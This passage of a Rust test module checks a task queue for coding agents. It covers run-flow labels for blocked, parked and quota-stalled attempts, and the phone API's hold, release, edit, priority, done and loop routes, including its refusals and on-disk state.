10475                run: "20260904-014455-ab12".to_owned(),
10476                node: "implement".to_owned(),
10477            },
10478        ] {
10479            let mut t = flow_task(&[]);
10480            t.source = source;
10481            let f = flow_for(&t, &[]);
10482            assert_eq!(f.nodes[0].key, "start");
10483            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10484            assert!(f.edges.iter().all(|e| e.from != "chat"));
10485        }
10486    }
10487
10488    const FA: &str = "20260902-140501-aaaa";
10489    const FB: &str = "20260902-140502-bbbb";
10490
10491    #[test]
10492    fn flow_follows_blocked_retry_merged_to_done() {
10493        let mut t = flow_task(&[FA, FB]);
10494        t.status = TaskStatus::Done;
10495        let f = flow_for(
10496            &t,
10497            &[
10498                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10499                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10500            ],
10501        );
10502        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10503        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10504        assert_eq!(f.edges.len(), 3);
10505        assert_eq!(f.edges[0].label, "claimed");
10506        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10507        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10508        assert_eq!(f.edges[2].label, "merged \u{2192} done");
10509        assert_eq!(
10510            f.nodes[2].href.as_deref(),
10511            Some("#/runs/20260902-140502-bbbb")
10512        );
10513        assert!(f.nodes[2].decided);
10514    }
10515
10516    #[test]
10517    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10518        let quota = || {
10519            flow_run(RunStatus::Stalled, |s| {
10520                s.quota.push(crate::run::QuotaLoss {
10521                    seat: "judge-1".to_owned(),
10522                    node: "judge".to_owned(),
10523                    at: Timestamp::now(),
10524                    reset: None,
10525                })
10526            })
10527        };
10528        let mut t = flow_task(&[FA, FA]);
10529        t.status = TaskStatus::Queued;
10530        let f = flow_for(&t, &[(FA, Some(quota()))]);
10531        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10532        assert_eq!(f.nodes[1].note, Some("interrupted"));
10533        assert_eq!(
10534            f.nodes[1].status, None,
10535            "no outcome copied onto an earlier pass"
10536        );
10537        assert_eq!(
10538            f.edges[1].attempt,
10539            AttemptCost::Unknown,
10540            "a resume does not prove the earlier pass was refunded"
10541        );
10542        assert!(f.edges[1].label.contains("resume the same run"));
10543        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10544        assert_eq!(
10545            f.edges[2].label,
10546            "stalled after a resume, refund unknown \u{2192} queued"
10547        );
10548        assert!(!f.nodes[2].decided, "a stall is not a decision");
10549        assert_eq!(f.nodes[2].note, Some("no verdict"));
10550    }
10551
10552    #[test]
10553    fn flow_single_pass_quota_stall_is_refunded() {
10554        let t = flow_task(&[FA]);
10555        let f = flow_for(
10556            &t,
10557            &[(
10558                FA,
10559                Some(flow_run(RunStatus::Stalled, |s| {
10560                    s.quota.push(crate::run::QuotaLoss {
10561                        seat: "judge-1".to_owned(),
10562                        node: "judge".to_owned(),
10563                        at: Timestamp::now(),
10564                        reset: None,
10565                    })
10566                })),
10567            )],
10568        );
10569        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10570    }
10571
10572    #[test]
10573    fn flow_parked_refunds_and_stall_without_quota_spends() {
10574        let mut t = flow_task(&[FA]);
10575        t.status = TaskStatus::Queued;
10576        let f = flow_for(
10577            &t,
10578            &[(
10579                FA,
10580                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10581            )],
10582        );
10583        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10584        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10585        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10586        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10587        assert!(!f.nodes[1].decided);
10588    }
10589
10590    #[test]
10591    fn flow_keeps_an_unreadable_run_as_its_own_node() {
10592        let t = flow_task(&[FA, FB]);
10593        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10594        assert_eq!(f.nodes[1].note, Some("unreadable"));
10595        assert!(!f.nodes[1].readable);
10596        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10597        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10598    }
10599
10600    #[test]
10601    fn flow_names_the_branch_of_a_review_only_run() {
10602        let t = flow_task(&[FA]);
10603        let f = flow_for(
10604            &t,
10605            &[(
10606                FA,
10607                Some(flow_run(RunStatus::Merged, |s| {
10608                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10609                })),
10610            )],
10611        );
10612        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10613        assert_eq!(
10614            f.nodes[1].detail.as_deref(),
10615            Some("review-only run of branch magi/x/A")
10616        );
10617    }
10618
10619    #[test]
10620    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10621        let mut t = flow_task(&[FA]);
10622        t.status = TaskStatus::Held;
10623        let pr = crate::run::PrRecord {
10624            url: "https://example.test/pr/1".to_owned(),
10625            number: 1,
10626            state: "open".to_owned(),
10627            checks: "green".to_owned(),
10628            round: 0,
10629            rounds: 3,
10630            red_at_merge: Vec::new(),
10631        };
10632        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10633        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10634        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10635        t.status = TaskStatus::Done;
10636        let f = flow_for(&t, &[(FA, Some(blocked))]);
10637        assert_eq!(f.edges[1].label, "closed by hand: task is done");
10638    }
10639
10640    #[test]
10641    fn flow_with_no_runs_goes_from_queued_to_queued() {
10642        let t = flow_task(&[]);
10643        let f = flow_for(&t, &[]);
10644        assert_eq!(f.nodes.len(), 2);
10645        assert_eq!(f.edges.len(), 1);
10646        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10647        assert_eq!(f.edges[0].attempt, AttemptCost::None);
10648    }
10649
10650    /// A run parked mid-flight keeps a non-terminal status; the page must
10651    /// still say why it stopped and that the attempt came back.
10652    #[test]
10653    fn a_parked_non_terminal_run_is_explained_as_parked() {
10654        let mut s = RunState::new(
10655            PathBuf::from("/repo/magi"),
10656            "main".to_owned(),
10657            "0123456789abcdef".to_owned(),
10658            "Do it".to_owned(),
10659            Config::default(),
10660        );
10661        s.status = RunStatus::Implementing;
10662        s.parked = true;
10663        let task = Task::new(
10664            "t".to_owned(),
10665            "Do it".to_owned(),
10666            PathBuf::from("/repo/magi"),
10667            Source::Human,
10668        );
10669        let v = task_run_view(
10670            "20260902-140501-aaaa",
10671            Some(&s),
10672            RunSlot {
10673                n: 1,
10674                resumed: false,
10675                resumed_later: None,
10676                prior: None,
10677                last: true,
10678            },
10679            &task,
10680        );
10681        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10682    }
10683
10684    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10685        let mut s = flow_run(RunStatus::Implementing, edit);
10686        s.parked = false;
10687        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10688        task_run_view(
10689            "20260902-140501-aaaa",
10690            Some(&s),
10691            RunSlot {
10692                n: 1,
10693                resumed: false,
10694                resumed_later: Some(2),
10695                prior: None,
10696                last: false,
10697            },
10698            &task,
10699        )
10700    }
10701
10702    #[test]
10703    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10704        let v = earlier_pass_view(|_| {});
10705        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10706        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10707        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10708        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10709        assert_eq!(v.exit, RunExit::Interrupted);
10710        assert_eq!(v.attempt, AttemptCost::Unknown);
10711    }
10712
10713    #[test]
10714    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10715        let v = earlier_pass_view(|s| {
10716            s.quota.push(crate::run::QuotaLoss {
10717                seat: "judge-1".to_owned(),
10718                node: "judge".to_owned(),
10719                at: Timestamp::now(),
10720                reset: None,
10721            });
10722        });
10723        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10724        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10725        assert_eq!(v.attempt, AttemptCost::Unknown);
10726    }
10727
10728    #[test]
10729    fn the_current_pass_states_its_recorded_cause_and_cost() {
10730        let slot = || RunSlot {
10731            n: 1,
10732            resumed: false,
10733            resumed_later: None,
10734            prior: None,
10735            last: true,
10736        };
10737        let task = flow_task(&["20260902-140501-aaaa"]);
10738        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10739        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10740        assert_eq!(
10741            (v.exit, v.attempt),
10742            (RunExit::Parked, AttemptCost::Refunded)
10743        );
10744        let spent = flow_run(RunStatus::Blocked, |_| {});
10745        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10746        assert_eq!(v.attempt, AttemptCost::Spent);
10747        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10748    }
10749
10750    #[tokio::test]
10751    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10752        let f = Fixture::start().await;
10753        let queue = f.queue();
10754        let mut task = Task::new(
10755            "spent".to_owned(),
10756            "Try again".to_owned(),
10757            PathBuf::from("/repo/magi"),
10758            Source::Human,
10759        );
10760        task.start("20260902-140502-bbbb".to_owned());
10761        task.fail("agent gave up", 9);
10762        queue.put(&mut task).expect("file the task");
10763
10764        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10765        assert_eq!(held.status, 200);
10766        assert_eq!(held.json()["status_str"], "held");
10767
10768        let released = f
10769            .post(&format!("/api/queue/{}/release", task.id), None)
10770            .await;
10771        assert_eq!(released.status, 200);
10772        assert_eq!(released.json()["status_str"], "queued");
10773        assert_eq!(
10774            released.json()["attempts"],
10775            0,
10776            "release is a real second chance, not an instant re-hold"
10777        );
10778        assert_eq!(
10779            queue.get(&task.id).expect("reload").status,
10780            TaskStatus::Queued,
10781            "the change is on disk, not only in the reply"
10782        );
10783        assert!(
10784            !f.home
10785                .path()
10786                .join("queue")
10787                .join(format!("{}.lock", task.id))
10788                .exists(),
10789            "the claim the mutation took is released again"
10790        );
10791    }
10792
10793    #[tokio::test]
10794    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10795        let f = Fixture::start().await;
10796        let queue = f.queue();
10797        let mut task = Task::new(
10798            "busy".to_owned(),
10799            "Running right now".to_owned(),
10800            PathBuf::from("/repo/magi"),
10801            Source::Human,
10802        );
10803        queue.put(&mut task).expect("file the task");
10804        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10805
10806        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10807
10808        assert_eq!(res.status, 409);
10809        assert_eq!(
10810            queue.get(&task.id).expect("reload").status,
10811            TaskStatus::Queued,
10812            "the refused hold changed nothing"
10813        );
10814    }
10815
10816    #[tokio::test]
10817    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10818        let f = Fixture::start().await;
10819        let queue = f.queue();
10820        let mut task = Task::new(
10821            "waiting on the migration".to_owned(),
10822            "Do the thing".to_owned(),
10823            PathBuf::from("/repo/magi"),
10824            Source::Human,
10825        );
10826        queue.put(&mut task).expect("file the task");
10827
10828        let held = f
10829            .post(
10830                &format!("/api/queue/{}/hold", task.id),
10831                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10832            )
10833            .await;
10834        assert_eq!(held.status, 200, "{}", held.body);
10835        assert_eq!(held.json()["status_str"], "held");
10836        assert_eq!(
10837            held.json()["hold_reason"],
10838            "waiting for 20260101-000000-aaaa to land"
10839        );
10840
10841        let listed = f.get("/api/queue").await.json();
10842        assert_eq!(
10843            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10844            "the card reads the reason off the same list route"
10845        );
10846
10847        // A hold with no body at all must keep working - most holds have no
10848        // reason to give.
10849        let mut plain = Task::new(
10850            "no reason given".to_owned(),
10851            "Do another thing".to_owned(),
10852            PathBuf::from("/repo/magi"),
10853            Source::Human,
10854        );
10855        queue.put(&mut plain).expect("file the task");
10856        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10857        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10858        assert!(held_plain.json()["hold_reason"].is_null());
10859
10860        let released = f
10861            .post(&format!("/api/queue/{}/release", task.id), None)
10862            .await;
10863        assert_eq!(released.status, 200);
10864        assert!(
10865            released.json()["hold_reason"].is_null(),
10866            "a release must clear the reason so the next hold does not inherit it"
10867        );
10868    }
10869
10870    #[tokio::test]
10871    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10872        let f = Fixture::start().await;
10873        let queue = f.queue();
10874        let mut older = Task::new(
10875            "filed first".to_owned(),
10876            "x".to_owned(),
10877            PathBuf::from("/repo/magi"),
10878            Source::Human,
10879        );
10880        older.id = "20260101-000001-aaaa".to_owned();
10881        let mut newer = Task::new(
10882            "filed second".to_owned(),
10883            "x".to_owned(),
10884            PathBuf::from("/repo/magi"),
10885            Source::Human,
10886        );
10887        newer.id = "20260101-000002-bbbb".to_owned();
10888        queue.put(&mut older).expect("file older");
10889        queue.put(&mut newer).expect("file newer");
10890
10891        // Equal priority: the newer task leads, the same order the old
10892        // newest-first `list()` already gave every equal-priority queue.
10893        let before = f.get("/api/queue").await.json();
10894        assert_eq!(before[0]["id"], newer.id);
10895        assert_eq!(before[1]["id"], older.id);
10896
10897        // Raising the *older* task is the meaningful case: it can only lead
10898        // now because its priority says so, not because it happens to be
10899        // newest.
10900        let raised = f
10901            .post(
10902                &format!("/api/queue/{}/priority", older.id),
10903                Some(r#"{"priority":10}"#),
10904            )
10905            .await;
10906        assert_eq!(raised.status, 200, "{}", raised.body);
10907        assert_eq!(raised.json()["priority"], 10);
10908
10909        let after = f.get("/api/queue").await.json();
10910        let names: Vec<&str> = after
10911            .as_array()
10912            .unwrap()
10913            .iter()
10914            .map(|t| t["id"].as_str().unwrap())
10915            .collect();
10916        // Highest priority first, which is the order next_runnable and
10917        // `magi task list` both use - GET /api/queue must agree with it
10918        // immediately, not just once the loop claims the task.
10919        assert_eq!(names[0], older.id, "the raised task now sorts first");
10920    }
10921
10922    #[tokio::test]
10923    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10924        let f = Fixture::start().await;
10925        let queue = f.queue();
10926        let mut task = Task::new(
10927            "in flight".to_owned(),
10928            "x".to_owned(),
10929            PathBuf::from("/repo/magi"),
10930            Source::Human,
10931        );
10932        task.start("20260902-140502-bbbb".to_owned());
10933        queue.put(&mut task).expect("file the task");
10934
10935        let res = f
10936            .post(
10937                &format!("/api/queue/{}/priority", task.id),
10938                Some(r#"{"priority":9}"#),
10939            )
10940            .await;
10941        assert_eq!(res.status, 400, "{}", res.body);
10942        assert!(
10943            res.json()["error"]
10944                .as_str()
10945                .is_some_and(|e| e.contains("running")),
10946            "{}",
10947            res.body
10948        );
10949        assert_eq!(
10950            queue.get(&task.id).expect("reload").priority,
10951            0,
10952            "the refused write must not partially apply"
10953        );
10954    }
10955
10956    #[tokio::test]
10957    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10958        let f = Fixture::start().await;
10959        let queue = f.queue();
10960        let mut task = Task::new(
10961            "old title".to_owned(),
10962            "old instruction".to_owned(),
10963            PathBuf::from("/repo/magi"),
10964            Source::Agent {
10965                run: "20260101-000000-beef".to_owned(),
10966                node: "implement".to_owned(),
10967            },
10968        );
10969        task.runs.push("20260101-000000-beef".to_owned());
10970        queue.put(&mut task).expect("file the task");
10971        let created_at = task.created_at;
10972
10973        let edited = f
10974            .post(
10975                &format!("/api/queue/{}/edit", task.id),
10976                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10977            )
10978            .await;
10979        assert_eq!(edited.status, 200, "{}", edited.body);
10980        let body = edited.json();
10981        assert_eq!(body["title"], "new title");
10982        assert_eq!(body["instruction"], "new instruction");
10983        assert_eq!(body["id"], task.id, "editing must not mint a new id");
10984        assert_eq!(body["created_at"], created_at.to_string());
10985        assert_eq!(
10986            body["source"]["kind"], "agent",
10987            "editing a task an agent filed must not turn it human: {body}"
10988        );
10989        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10990
10991        let reloaded = queue.get(&task.id).expect("reload");
10992        assert_eq!(reloaded.title, "new title");
10993        assert_eq!(reloaded.instruction, "new instruction");
10994    }
10995
10996    #[tokio::test]
10997    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10998        // The judge is an agent now: a repo whose only agent answers
10999        // "duplicate" stands in for it, so the refusal is the judge's.
11000        let tmp = TempDir::new().expect("tempdir");
11001        let repo = tmp.path().join("repo");
11002        std::fs::create_dir_all(&repo).expect("repo dir");
11003        let judge = MOCK_AGENT_TOML.replace(
11004            "printf ok",
11005            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11006        );
11007        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11008        let f = Fixture::with_repo(repo.clone()).await;
11009        let queue = f.queue();
11010        let mut owner = Task::new(
11011            "owner".to_owned(),
11012            "review it".to_owned(),
11013            repo.clone(),
11014            Source::Human,
11015        );
11016        owner.review_branch = Some("magi/ab12/A".to_owned());
11017        queue.put(&mut owner).expect("file the owner");
11018        let mut task = Task::new(
11019            "draft".to_owned(),
11020            "old".to_owned(),
11021            repo.clone(),
11022            Source::Human,
11023        );
11024        queue.put(&mut task).expect("file the draft");
11025        let url = format!("/api/queue/{}/edit", task.id);
11026
11027        let refused = f
11028            .post(
11029                &url,
11030                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11031            )
11032            .await;
11033        assert_eq!(refused.status, 409, "{}", refused.body);
11034        let msg = refused.json()["error"]
11035            .as_str()
11036            .unwrap_or_default()
11037            .to_owned();
11038        assert!(
11039            msg.contains("magi/ab12/A") && msg.contains("force"),
11040            "{msg}"
11041        );
11042        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11043
11044        let forced = f
11045            .post(
11046                &url,
11047                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11048            )
11049            .await;
11050        assert_eq!(forced.status, 200, "{}", forced.body);
11051    }
11052
11053    #[tokio::test]
11054    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11055        let f = Fixture::start().await;
11056        let queue = f.queue();
11057        let mut task = Task::new(
11058            "in flight".to_owned(),
11059            "do not touch".to_owned(),
11060            PathBuf::from("/repo/magi"),
11061            Source::Human,
11062        );
11063        task.start("20260902-140502-bbbb".to_owned());
11064        queue.put(&mut task).expect("file the task");
11065
11066        let res = f
11067            .post(
11068                &format!("/api/queue/{}/edit", task.id),
11069                Some(r#"{"title":"x","instruction":"y"}"#),
11070            )
11071            .await;
11072        assert_eq!(res.status, 400, "{}", res.body);
11073        assert!(
11074            res.json()["error"]
11075                .as_str()
11076                .is_some_and(|e| e.contains("running")),
11077            "{}",
11078            res.body
11079        );
11080        assert_eq!(
11081            queue.get(&task.id).expect("reload").instruction,
11082            "do not touch",
11083            "the refused edit must not change the file"
11084        );
11085    }
11086
11087    #[tokio::test]
11088    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11089        let f = Fixture::start().await;
11090        let queue = f.queue();
11091        let mut task = Task::new(
11092            "busy".to_owned(),
11093            "Running right now".to_owned(),
11094            PathBuf::from("/repo/magi"),
11095            Source::Human,
11096        );
11097        queue.put(&mut task).expect("file the task");
11098        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11099
11100        let priority = f
11101            .post(
11102                &format!("/api/queue/{}/priority", task.id),
11103                Some(r#"{"priority":9}"#),
11104            )
11105            .await;
11106        assert_eq!(priority.status, 409, "{}", priority.body);
11107
11108        let edit = f
11109            .post(
11110                &format!("/api/queue/{}/edit", task.id),
11111                Some(r#"{"title":"x","instruction":"y"}"#),
11112            )
11113            .await;
11114        assert_eq!(edit.status, 409, "{}", edit.body);
11115    }
11116
11117    #[tokio::test]
11118    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11119        let f = Fixture::start().await;
11120        let queue = f.queue();
11121        let mut task = Task::new(
11122            "shipped by hand".to_owned(),
11123            "merged outside the loop".to_owned(),
11124            PathBuf::from("/repo/magi"),
11125            Source::Agent {
11126                run: "20260101-000000-b455".to_owned(),
11127                node: "implement".to_owned(),
11128            },
11129        );
11130        task.runs.push("20260101-000000-b455".to_owned());
11131        task.runs.push("20260101-000000-9af4".to_owned());
11132        queue.put(&mut task).expect("file the task");
11133        let created_at = task.created_at;
11134
11135        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11136        assert_eq!(done.status, 200, "{}", done.body);
11137        assert_eq!(done.json()["status_str"], "done");
11138
11139        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11140        assert_eq!(
11141            reloaded.runs,
11142            ["20260101-000000-b455", "20260101-000000-9af4"]
11143        );
11144        assert_eq!(
11145            reloaded.source,
11146            Source::Agent {
11147                run: "20260101-000000-b455".to_owned(),
11148                node: "implement".to_owned(),
11149            }
11150        );
11151        assert_eq!(reloaded.created_at, created_at);
11152    }
11153
11154    #[tokio::test]
11155    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11156        // `done` is allowed on any status, including `held`, with no release
11157        // in between - so a task held for a reason and then closed directly
11158        // must not keep reading as "waiting on" it afterwards, on its card or
11159        // in `magi task show`.
11160        let f = Fixture::start().await;
11161        let queue = f.queue();
11162        let mut task = Task::new(
11163            "landed while held".to_owned(),
11164            "x".to_owned(),
11165            PathBuf::from("/repo/magi"),
11166            Source::Human,
11167        );
11168        task.hold_manual(Some("waiting on 3ed9".to_owned()));
11169        queue.put(&mut task).expect("file the held task");
11170
11171        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11172        assert_eq!(done.status, 200, "{}", done.body);
11173        assert_eq!(done.json()["status_str"], "done");
11174        assert!(
11175            done.json()["hold_reason"].is_null(),
11176            "a done task cannot still be waiting on something: {}",
11177            done.body
11178        );
11179    }
11180
11181    #[tokio::test]
11182    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11183        // `queue_done` is the phone's way to close a task the loop never
11184        // settled itself - after confirming a manual GitHub merge, say - and
11185        // that is just as much "this task's story is over" as the loop's own
11186        // `Merged`/`Ready` path, so it must trigger the same cleanup.
11187        let f = Fixture::start().await;
11188        let queue = f.queue();
11189        let runs = f.runs();
11190        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11191        // The last attempt has to have actually landed for the earlier one
11192        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
11193        // for the case where it didn't.
11194        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11195
11196        let mut task = Task::new(
11197            "landed by hand".to_owned(),
11198            "x".to_owned(),
11199            PathBuf::from("/repo/magi"),
11200            Source::Human,
11201        );
11202        task.runs.push("20260101-000000-doa1".to_owned());
11203        task.runs.push("20260101-000000-doa2".to_owned());
11204        queue.put(&mut task).expect("file the task");
11205
11206        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11207        assert_eq!(done.status, 200, "{}", done.body);
11208
11209        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11210            .expect("run still on disk under this fixture's own home");
11211        assert_eq!(
11212            reloaded_run.status,
11213            RunStatus::Superseded,
11214            "closing the task by hand must relabel the earlier blocked attempt exactly \
11215             like the loop's own settle path does"
11216        );
11217    }
11218
11219    #[tokio::test]
11220    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11221        // Closing a task by hand is allowed from any status, including one
11222        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
11223        // manual merge the loop never watched, say. Nothing here is provably
11224        // why the task is done, so nothing earlier gets relabelled either.
11225        let f = Fixture::start().await;
11226        let queue = f.queue();
11227        let runs = f.runs();
11228        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11229        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11230
11231        let mut task = Task::new(
11232            "closed with nothing actually landed".to_owned(),
11233            "x".to_owned(),
11234            PathBuf::from("/repo/magi"),
11235            Source::Human,
11236        );
11237        task.runs.push("20260101-000000-dob1".to_owned());
11238        task.runs.push("20260101-000000-dob2".to_owned());
11239        queue.put(&mut task).expect("file the task");
11240
11241        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11242        assert_eq!(done.status, 200, "{}", done.body);
11243
11244        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11245            .expect("run still on disk under this fixture's own home");
11246        assert_eq!(
11247            reloaded_run.status,
11248            RunStatus::Blocked,
11249            "the last recorded attempt never landed, so the earlier one must not be \
11250             relabelled as superseded by it"
11251        );
11252    }
11253
11254    #[tokio::test]
11255    async fn unknown_ids_are_json_not_found_on_both_stores() {
11256        let f = Fixture::start().await;
11257
11258        let run = f.get("/api/runs/nosuchrun").await;
11259        let task = f.post("/api/queue/nosuchtask/hold", None).await;
11260
11261        assert_eq!(run.status, 404);
11262        assert_eq!(task.status, 404);
11263        assert!(
11264            run.json()["error"]
11265                .as_str()
11266                .is_some_and(|e| e.contains("run")),
11267            "the error names what was not found: {}",
11268            run.body
11269        );
11270        assert!(
11271            task.json()["error"]
11272                .as_str()
11273                .is_some_and(|e| e.contains("task")),
11274            "the error names what was not found: {}",
11275            task.body
11276        );
11277    }
11278
11279    #[tokio::test]
11280    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11281        let f = Fixture::start().await;
11282
11283        let missing = f.get("/api/health").await.json();
11284        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11285
11286        write_daemon(
11287            f.home.path(),
11288            Timestamp::now() - jiff::SignedDuration::from_secs(60),
11289        );
11290        let stale = f.get("/api/health").await.json();
11291        assert_eq!(
11292            stale["daemon"]["running"], false,
11293            "a minute without a heartbeat is a dead daemon, not a busy one"
11294        );
11295        assert!(
11296            stale["daemon"]["stale_for_secs"]
11297                .as_i64()
11298                .is_some_and(|s| s >= 55),
11299            "staleness is reported so the UI can say how long: {stale}"
11300        );
11301
11302        write_daemon(f.home.path(), Timestamp::now());
11303        let fresh = f.get("/api/health").await.json();
11304        assert_eq!(fresh["daemon"]["running"], true);
11305        assert_eq!(fresh["daemon"]["idle"], false);
11306        assert_eq!(fresh["daemon"]["pid"], 4242);
11307        assert_eq!(fresh["daemon"]["completed"], 7);
11308        assert_eq!(
11309            fresh["daemon"]["current"][0]["task"],
11310            "20260902-140501-aaaa"
11311        );
11312        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11313    }
11314
11315    #[tokio::test]
11316    async fn the_loop_is_not_running_until_something_starts_it() {
11317        let f = Fixture::start().await;
11318
11319        let view = f.get("/api/loop").await.json();
11320        assert_eq!(view["running"], false);
11321        assert_eq!(
11322            view["owned"], false,
11323            "nobody owns a loop that does not exist: {view}"
11324        );
11325        assert_eq!(view["stopping"], false);
11326        assert_eq!(view["last_error"], Value::Null);
11327        assert_eq!(view["daemon"]["running"], false);
11328        assert_eq!(
11329            view["repo"], "/repo/magi",
11330            "the repository a start would use, named before it is started"
11331        );
11332    }
11333
11334    #[tokio::test]
11335    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11336        let f = Fixture::start().await;
11337
11338        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11339        assert_eq!(res.status, 200, "{}", res.body);
11340        let view = res.json();
11341        assert_eq!(view["running"], true);
11342        assert_eq!(
11343            view["owned"], true,
11344            "the loop the UI started is the UI's own to stop: {view}"
11345        );
11346        assert_eq!(
11347            view["merge"],
11348            Value::Null,
11349            "no override was given, so each repository's own config decides"
11350        );
11351
11352        // The same object from the route a waking phone polls first. Two
11353        // surfaces disagreeing about whether anything is running is exactly
11354        // the confusion this UI exists to remove.
11355        let health = f.get("/api/health").await.json();
11356        assert_eq!(health["loop"]["running"], true, "{health}");
11357        assert_eq!(health["loop"]["owned"], true, "{health}");
11358
11359        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11360    }
11361
11362    #[tokio::test]
11363    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11364        let f = Fixture::start().await;
11365        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11366        assert_eq!(first.status, 200, "{}", first.body);
11367
11368        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11369        assert_eq!(
11370            again.status, 409,
11371            "two loops on one queue race for the same claims: {}",
11372            again.body
11373        );
11374        assert!(
11375            again.json()["error"]
11376                .as_str()
11377                .is_some_and(|e| e.contains("already running the loop")),
11378            "the refusal has to say why: {}",
11379            again.body
11380        );
11381        assert_eq!(
11382            f.get("/api/loop").await.json()["running"],
11383            true,
11384            "and the loop that was already running is untouched by it"
11385        );
11386
11387        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11388    }
11389
11390    #[tokio::test]
11391    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11392        let f = Fixture::start().await;
11393        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11394
11395        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11396        assert_eq!(
11397            res.status, 200,
11398            "the answer must not wait for the loop: a run in flight is tens of \
11399             minutes and the operator is holding a phone: {}",
11400            res.body
11401        );
11402
